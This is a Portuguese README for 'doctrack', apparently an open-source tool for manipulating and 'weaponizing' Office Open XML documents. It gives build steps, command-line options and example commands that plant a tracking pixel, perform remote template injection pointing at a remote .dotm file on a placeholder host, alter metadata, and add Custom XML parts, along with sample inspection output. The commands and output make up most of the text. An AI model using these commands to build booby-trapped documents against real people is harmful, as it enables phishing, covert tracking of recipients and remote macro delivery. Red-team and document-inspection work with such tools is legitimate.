
Ferramenta para manipular e armar documentos Office Open XML.
Ferramenta para manipular e armamentar documentos Office Open XML.
Você precisará baixar o .Net 6.0. Em seguida, para compilar um único binário no Windows:
$ git clone https://github.com/wavvs/doctrack.git
$ cd doctrack/
$ dotnet publish -r win-x64 -c Release /p:PublishSingleFile=true
No Linux:
$ dotnet publish -r linux-x64 -c Release /p:PublishSingleFile=true
$ doctrack --help
Ferramenta para manipular e armamentar documentos Office Open XML.
-i, --input Nome do arquivo de entrada. Se não existir, um novo arquivo é criado.
-o, --output Nome do arquivo de saída. Se não definido, o documento é salvo como arquivo --input.
-m, --metadata Metadados a fornecer (arquivo JSON).
-u, --url URL a inserir.
-e, --template (Padrão: false) Se definido, ativa injeção de URL de template.
-s, --inspect (Padrão: false) Inspecionar documento.
-c, --custom-part Inserir uma parte Custom XML (arquivo XML)
--help Exibir esta tela de ajuda.
Criar um documento Word e alterar os metadados do documento:
$ doctrack -i test.docx -m metadata.json
Inserir um pixel de rastreamento e alterar metadados do documento:
$ doctrack -i test.docx -o test.docx --metadata metadata.json --url http://test.url/image.png
Inserir uma URL de template remota (também conhecido como Remote Template Injection):
$ doctrack -i test.docx -o test.docx --url http://test.url/template.dotm --template
Inserir uma parte Custom XML:
$ doctrack -i test.docx -o test.docx -c part.xml
Inspecionar URLs de destino externas, metadados e partes Custom XML:
$ doctrack -i test.docx --inspect
[External targets]
Part: /word/document.xml, ID: R8783bc77406d476d, URI: http://test.url/image.png
Part: /word/settings.xml, ID: R33c36bdf400b44f6, URI: http://test.url/template.dotm
[Metadata]
Creator: wavvs
Title: doctrack
Subject:
Category:
Keywords:
Description:
ContentType:
ContentStatus:
Version:
Revision:
Created: 13.10.2020 23:20:39
Modified: 13.10.2020 23:20:39
LastModifiedBy:
LastPrinted: 13.10.2020 23:20:39
Language:
Identifier:
[CustomXML Parts]
Part: /customXML/item.xml (25 bytes)